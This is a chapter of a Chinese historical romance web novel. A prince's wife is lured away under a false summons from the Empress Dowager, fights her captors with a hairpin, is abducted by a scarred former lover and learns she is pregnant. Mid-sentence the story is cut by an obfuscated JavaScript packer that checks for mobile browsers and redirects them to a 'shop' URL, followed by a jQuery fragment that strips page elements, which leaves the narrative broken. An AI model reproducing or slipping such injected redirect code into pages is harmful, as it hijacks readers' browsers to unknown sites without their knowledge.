余清露向太后那边送了拜帖,可迟迟没有回应,可远在边关的裴昭渊的家书倒是先到了。
“吾妻亲启:为夫一切安好,敢问夫人近来如何?离家数日甚是想念吾妻,边关近来多太平,只是还未有公主的下落,所以回程还未有定期,近来京城隐有变故,还望夫人照顾好自己,勿念勿挂。夫靖之。”
小橘见余清露呆呆的看着信纸看了好半晌都不吭声打趣道:“王爷写了什么叫娘娘如此魂不守舍啊,心都跟着飞去边关了吧。”
余清露嗔她一眼:“贫嘴。”
她提笔写回信:“夫君亲启:边关苦寒,注意身体,家中一切安好,”余清露略顿了顿才继续提笔,“妾也安好,早日回家。妻余氏。”
余清露写完将信封起来,交给小橘:“派个口风紧脚程利索的送去,莫叫旁人知晓。”
“是。”
太后迟迟未应声,但余清霜那边的事也刻不容缓,她只得先派人打点一下,至少在皇帝提审她之前先保住她的性命。
好在没等多久,太后身边的嬷嬷就亲自登门了。
“王妃娘娘,太后有请,请随奴婢一道进宫吧。”
余清露点点头,小橘正要跟着上前,嬷嬷突然出声拦住了她:“太后娘娘吩咐,只让王妃一人前去。”
“你留下吧,我去太后那里能有什么事。”余清露边说边用余光撇了眼嬷嬷,那嬷嬷神色微微一顿,但很快又恢复了正常,余清露心下一沉,“小橘,若我回来晚了记得告诉王爷一声。”
小橘险些脱口而出王爷并不在京中,看见余清露冲她眨了眨眼才反应过来。
“王妃娘娘快些吧,莫要让太后等急了。”
那嬷嬷手中拿的真是太后的令牌,所以哪怕余清露心里隐隐有些不安,也不得不听话跟上。
余清露刚刚在马车坐定,那嬷嬷就吩咐马车快点走。
马车疾驰,余清露心里的不安感越来越强,她悄悄掀起帘子往外张望,这根本不是进宫的路线,她最担心的事果然发生了,余清露试探性的开口同坐在前面的嬷嬷开口:“嬷嬷,我瞧着马车走了挺久了,还没到皇宫吗?”
“王妃娘娘有所不知,这主路啊前些日子被踏坏了,这不正修着呢,奴婢带您抄的是最近的小道,您就放心吧。”
你这么说更加难放心了啊……
余清露坐立不安,偷偷摘下头上的发簪,在座椅上摸了摸,确定已经够锋利了才小心翼翼的藏进袖子里面,又将平安锁悄悄从车窗里丢了出去。
天色渐晚,余清露借口身子不适,叫嬷嬷进来侍候,嬷嬷刚靠近,余清露拿出藏在袖子里的发簪,抵住她的咽喉。
“叫他停下。”
嬷嬷吓得冷汗直流,勉强稳了稳心神:“停……停下。”
车夫有些莫名其妙:“出什么事了?”
“告诉他,我身体不适,头晕的厉害。”
嬷嬷咽了咽口水,余清露将发簪又拿近了写,锋利的发簪刺破了她的皮肤,渗出血珠来。
“……娘娘……娘娘她晕的厉害。”
“告诉他你在里面服侍我,等一会就出去。”
“我……我在服侍娘娘,你,你停好就是。”
车夫虽然心有疑虑,但是还是没说什么。
余清露掏出蒙汗药来,直接捂到嬷嬷脸上,嬷嬷挣扎一会,不一会就晕了过去,余清露将她放到一边,悄悄拉开车帘,在车夫还没反应过来的之后,银簪寒光一闪,已然抵到了车夫脖子上,上面还沾着嬷嬷的血迹。
“说,是谁让你们来的。”
“我……我……是,是……呃!”
他话还没说完,一只箭羽破空而来直接从车夫的咽喉穿过,余清露吓得簪子脱了手,那车夫还未死透,一直在发出奇怪的声音,余清露第一次如此近距离的见到死亡,大脑一片空白。
不远处拿着弓的人无声的走近,余清露侧头,满眼都是不可思议。
“好久不见了。”
……
太后手中盘着佛珠,面无表情,只是越来越快的动作暴露出了她的情绪。
“啪嗒。”
佛珠竟然被她生生扯断了,撒了一地,外头的喜莱走进来,见到一地狼藉,不动声色的走到太后身边:“太后娘娘,小心伤了手。”
太后摇了摇头,自顾自的开口:“渊儿也是哀家的孩子,你说他会不会觉得哀家偏心。”
她这话说的没头没脑,喜莱却是懂了:“太后当年生公主的时候,被当时还是良妃的楚氏害的难产,生下的公主也瘦的小猫一样,险些没养活,娘娘偏袒公主多些也是情有可原。”
太后长叹一口气:“皇帝也真是舍得,宁儿是他的妹妹啊。”
喜莱低垂着眉眼:“到底不是娘娘亲生的,还是隔了些。”
“哎……”
佛珠胡乱滚动着,一颗甚至滚到了门槛边上,门槛外面空空如也,门槛里面却占据了一颗佛珠。
太后的心也如此。
她最终还是更疼爱裴攸宁,哪怕那位也是她的孩子。
余清露再醒过来的时候,发现自己正在床上面躺着,只是手脚被捆了起来。
她试着挣了挣,发现没有用处,便老老实实的躺平,与其在这上面浪费体力,不如留着些力气,看看他们到底要干什么。
“吱呀——”
门被推开,熟悉的身影站在门口。
许淮崇。
他带着半边脸的面具,走到余清露身边,用手轻轻撩开她的发丝,那眼神中蕴含了太多情绪:“露儿,你这段时间过的怎么样?”
“挺好的,你,你还活着为什么不回来?”
许淮崇像是听到什么好笑的话,冷不丁笑了声,然后笑得越来越大声,余清露眉头紧锁,被他的大笑声渗的心里发慌。
许淮崇笑了许久,终于停了下来,他擦了擦刚刚笑出来的眼泪,坐到余清露身边:“我啊,我早就是一具行尸走肉了。”
他抬起手,摘下了脸上的面具,那半张脸不知道遭遇了什么,皮肤完全被腐蚀掉了,露出底下狰狞扭曲的疤痕和微微泛红的肉色,像是被烈火烧过,又像是被强酸腐蚀,与另一边清隽的容颜形成了触目惊心的对
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128222|192785||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
比。
“你……”余清露惊讶的说不出话来。
许淮崇将面具带了回去:“吓到你了吗?抱歉,只是你看,我根本就回不去了。”
“你为什么要将我绑过来?”
许淮崇一愣,半晌才轻声开口:“抱歉,我得还人情啊。”见余清露满脸戒备,他又放轻了语气,“我不会伤害你的。”
余清露见他态度软和,立马陈胜追击:“那你能不能给我松绑,这绳子勒的我不舒服。”
“眼下还不行。”许淮崇出声拒绝。
见他态度坚决,余清露索性转移了话题,“我有点饿了。”
“好,我去让他们准备准备。”
等了一会后,外头进来了几个糙脸大汉,正埋着头将手里的盘子挨个放在桌子上。
余清露数了数,足足有九道菜,“倒也不必如此隆重。”
许淮崇笑了笑:“就当是我的赔礼吧。”
两人一左一右的坐定,余清露看着这菜色倒是正觉得有些饿了,拿起筷子也不客气,伸手夹了一筷子鱼肉,刚凑到嘴边却闻到一阵腥味,胃里一顿翻江倒海,她赶紧撂下筷子,扶住桌子,侧过头干呕起来。
“怎么了?”许淮崇快步上前,“快去叫郎中来!”
他扶住余清露的手臂,余清露摆摆手,示意自己没关系:“没事……只是这鱼有点腥。”
“腥?”许淮崇有些纳闷,“这是山泉里养的雅鱼,最是新鲜无腥的。”
两人正一头雾水的时候,门碰的一声被撞开,一魁梧男子冲了进来,手里还拎着一位书生模样的年轻人。
“老大!俺把人带来了。”
书生模样的人黑着脸走过来,想要将余清露的手拽过来,被许淮崇狠瞪一眼,这才悻悻地开口:“劳烦姑娘将手伸出来。”
“露儿,放心吧,他虽然看起来不太靠谱,但医术很好的。”许淮崇温声开口。
余清露半信半疑的将手腕露出来,凌牙上前把脉,他原本面无表情,此刻却露出些古怪的意味。
许淮崇有些紧张:“凌牙,别卖关子了,到底怎么了。”
凌牙:“没什么,你要当爹了。”
许淮崇:“?”
余清露:“……”
“咳,”许淮崇干咳一声,一巴掌扇到凌牙头上,“好好说话,余姑娘是我请来的贵客。”
凌牙被这一巴掌打的直吸气:“这位姑娘有孕了,两个月左右,只是她这身体早些年应该受过寒,本是极难有孕的,眼下就算是怀上了孩子也很难保住。”
刚刚被这一消息砸的晕头转向,又听闻孩子很大可能保不住,一时心急抓上了凌牙的袖子,小心翼翼开口:“我,我怎样才能保下他。”
“嗯……普通医师可能束手无策,但我可是江湖上赫赫有名的小神医啊。看在许老大的面子上,你这胎就交给我吧。”他说完又贼兮兮的凑到许淮崇身边,小声耳语,“真不是你的孩子?”
许淮崇没接话,心里有些复杂。
许久未见了,这明明是他的妻,如今却嫁给了别人,连孩子都有了。